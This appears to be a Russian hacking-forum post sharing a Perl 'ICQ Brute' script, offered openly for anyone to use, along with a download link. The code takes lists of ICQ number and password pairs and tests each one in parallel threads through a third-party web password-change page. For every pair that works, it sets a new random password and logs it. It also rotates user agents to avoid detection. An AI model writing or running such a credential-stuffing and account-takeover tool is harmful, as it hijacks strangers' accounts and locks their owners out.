Форум АНТИЧАТ - ICQ Brute by BluR . [Perl]

Вот написал брут . Работает через WEB. Прокси не нужны . Пропускает гуду . Писал просто чтобы что то написать ... т.к только начал учить перл ... так что не судите ...
кому надо используйте...

Код:

#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; use Fcntl ':flock';  ############################################################################## my $threads = 5;                  # Кол-во потоков                           # ############################################################################## my $source_file = 'source.txt';   # Список для брута                         # ############################################################################## my $source_delm = ';';            # Разделитель списка аккаунтов             # ############################################################################## my $delay = 0;                    # Задержка                                 # ##############################################################################   $| = 1; system('title ICQ Brute by BluR v 0.001 ^ Happy New Year. ^2010^');  my @source : shared = lf($source_file); my $goodn : shared = 0; my $badn : shared = 0; my $err : shared = 0; my $newpass=''; my $ch1 = chr(205);  my $ch2 = chr(201); my $ch3 = chr(187);   my $ch6 = chr(186);  my $ch7 = chr(219); my $ch8 = chr(200);  my $ch9 = chr(188);        print "$ch2$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch3";      print "$ch6$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7 ICQ Brute by BluR.$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch6";      print "$ch8$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch9";       cout(" \nStarting... \n");   threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main {  while(@source)     {            my $ua = LWP::UserAgent->new(timeout => 33,                                      cookie_jar => new HTTP::Cookies,                                      agent => agent());          my ($uin, $pass) = split $source_delm => shift @source;                 GET:          my $answ = $ua->get('http://ruwap.org/service/ChangePassword/index.php')->as_string;         if($answ =~ m,HTTP,i)        {           $answ =~  s/\s*.*action="//igxsm;         $answ =~ s/"\s*.*\s*//igxsm;          $newpass= join('', map(('a'..'z', 'A'..'Z', '0'..'9')[rand(63)], (1..8)));          my $req = $ua->post("http://ruwap.org/service/ChangePassword/index.php$answ",                             ['uin' => $uin,                              'password' => $pass,                              'NewPassword' => $newpass,                              'ReNewPassword' => $newpass,])->as_string;         if( $req =~ m,$uin,igxsm)         {              {                 lock $goodn;                 ++$goodn              }          cout("  Good - $uin:$pass                                       \n");         cout("  Password changed - $uin:$newpass                        \n");         wf('good.txt', "$uin;$newpass\n");         }          else         {              {                 lock $badn;                 ++$badn              }          cout("  Bad - $uin:$pass                                     \n");         wf('bad.txt', "$uin;$newpass\n");          }         }                 else         {             {                 lock $err;                 ++$err             }             cout("  Error!!!, trying again...                            \n");             goto GET         }         sleep $delay     }  }  sub agent {     my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0];     return $agents[rand scalar @agents]; } sub cout {     print $_[0];     print " Good: $goodn $ch6 Bad: $badn $ch6 Threads: $threads $ch6 Error: $err\r";       }    sub lf {     open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";     chomp(my @data = <$dat>);     close $dat;     return @data; } sub wf {     open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";     flock $dat, LOCK_EX;     print $dat $_[1];     flock $dat, LOCK_UN;     close $dat; }

Залил :
http://slil.ru/28428393

P.s : спасибо Гаусу за его скрипты ... подглядывал когда писал ...

С Наступающим Античат ...